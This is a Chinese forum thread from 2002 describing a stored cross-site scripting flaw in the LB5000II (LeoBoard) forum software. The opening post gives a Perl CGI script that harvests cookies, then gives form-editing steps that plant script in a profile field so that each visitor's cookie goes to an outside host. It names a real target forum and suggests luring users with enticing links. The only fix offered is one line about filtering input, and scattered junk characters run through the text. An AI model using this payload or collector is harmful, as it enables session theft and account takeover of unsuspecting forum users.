找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 7261|回复: 3

雷傲跨站脚本漏洞收集用户cookie漏洞,适合与任何版本,任何系统

[复制链接]
发表于 2002-6-6 11:05:22 | 显示全部楼层 |阅读模式
漏洞描述: 7 u! C8 B  S0 G  P0 y/ X" @
  LB5000II是国内流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新 * P7 _& w: \/ r. w  T% _+ \$ j+ v
版本是LB5000II v20317b,可以http://www.leoboard.com下载。   [! A" u. ^# j" ]3 j
  其注册模块未过滤用户资料   最高学历:职业状况:等注册信息 , J4 }; k+ W+ b+ U2 P  G, P
导致恶意用户可以通过伪造<s cript>alert(documents.cookie)</s cript>
' i% |' _- z& Z2 t$ X7 ]5 ~进行攻击,进一步可以通过某中方式收集。测试通过 , D9 b2 ^0 m+ W8 J) ^0 i
测试程序:
1 u* c$ Q* r" v  参考漏洞描述。 5 P; G: w0 x; K) E
解决方案: ( R" W  T: F4 T5 s
  对用户提交的资料进行过滤
* P0 k. E/ q, h) {5 Q    6 o( G" _, {# E) I1 v% J, M
0 z6 J/ l' V- E- B3 ?! N. x
请在s8s8论坛访问 7 B" S- Z" [, C/ V7 A. O
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队 * b7 }+ j& H, a
那么你在s8s8.net 的cookie将被我所获取. * J5 R) L$ P% C& N* e4 J; r0 E  |4 {
#!/usr/bin/perl
# k  l) O) a4 S% J- K9 ~: \0 `( g# h#leo.cgi
2 y8 N7 L: k3 B$ i+ J$url="http://www.s8s8.net";; 0 d$ u9 Y+ D7 W. E
$method=$ENV{"REQUEST_METHOD"}; , g# }: J8 |' d/ c% V
if(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};} # U/ M: O0 P; f8 r, U. l2 D
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));} % V  T0 }' n+ ]# [3 j% P9 [( F
$remote_addr=$ENV{"REMOTE_ADDR"};
2 I- Q/ @& M( E; w( t1 X8 T$ f9 H$buffer=~tr/+/ /;
+ e7 M$ }3 [0 `8 K& q5 E$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
% c7 z) P  B6 c' \3 V* A; p$buffer=$buffer."|$remote_addr\n"; ( N( d6 y( @. u! w
open(FILE,">>leo.txt");
% q' ~1 c; M" cprint FILE $buffer;
4 D6 K/ l8 b/ {) P, Gclose(FILE);                       
: x* T1 j- Z, S+ \* P; qprint "Location:$url\n\n"; 0 e  H( |: N  S! M4 J9 E& `, U
上面是我的cookie收集脚本 4 x7 z, B6 Y2 T+ P( I
------------------------------------------------------------------------------
- x( U" k8 J; P5 J5 t  s范例:以s8s8为例,感谢好友狩猎者 shocknet 帮助测试 + Q3 [5 a# L; Y4 N( v
用大刀队登陆s8s8论坛,编辑个人资料, 6 M1 a  M* Q' Z$ M8 }
用记事本打开编辑网页   P" Y6 ?! D3 K7 U. A
<option value="中专">中专</option>  这一项改成 ; k+ g6 T. v/ Y- K, h/ }
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?&#39;+documents.cookie)</s cript>">中专</option>   " f1 }: c9 A. L' G+ @" [# q
# N+ w; Z5 ^; o( G
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data"> 6 f: x% H  ~# t. n9 C. ?
改为
* P+ f5 \) p; x7 x0 I<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data"> # a: ?& Y$ R9 x6 O) S3 i! W
保存编辑的网页,用自己的页登陆,选“中专”一项,提交数据,
3 [% n& [( a0 n; V这样以后只要查看大刀队的资料的用户,那么查看者的cookie资料将被截获。
( o! }' T: c' k3 l; e3 m为了伪装的更好,可以在论坛发具有诱惑力的帖子连接,吸引人家去点击, 8 E( n' \! l) U, }; r
什么算诱惑力呢,自己发挥吧。$ y8 f: ~1 W2 z: }# H
发表于 2002-6-8 12:21:09 | 显示全部楼层

雷傲跨站脚本漏洞收集用户cookie漏洞,适合与任何版本,任何系统

我连怎么设置超连接都不懂~~~汗~!能教教我吗?
( e! \8 M2 c. ]) p3 m(我指在贴上设置)  d, G) D6 e3 @$ x
发表于 2002-6-24 19:03:26 | 显示全部楼层

雷傲跨站脚本漏洞收集用户cookie漏洞,适合与任何版本,任何系统

我们的论坛虽然是使用这个程序!但没这个问题!1 `6 R8 f* U9 A" o% a
 楼主| 发表于 2002-6-25 11:25:20 | 显示全部楼层

雷傲跨站脚本漏洞收集用户cookie漏洞,适合与任何版本,任何系统

那当染好了啊
*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

Archiver|小黑屋|宽带技术网 |网站地图 粤公网安备44152102000001号

GMT+8, 2026-2-1 16:18 , Processed in 0.019249 second(s), 4 queries , Redis On.

Powered by Discuz! X3.5 Licensed

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表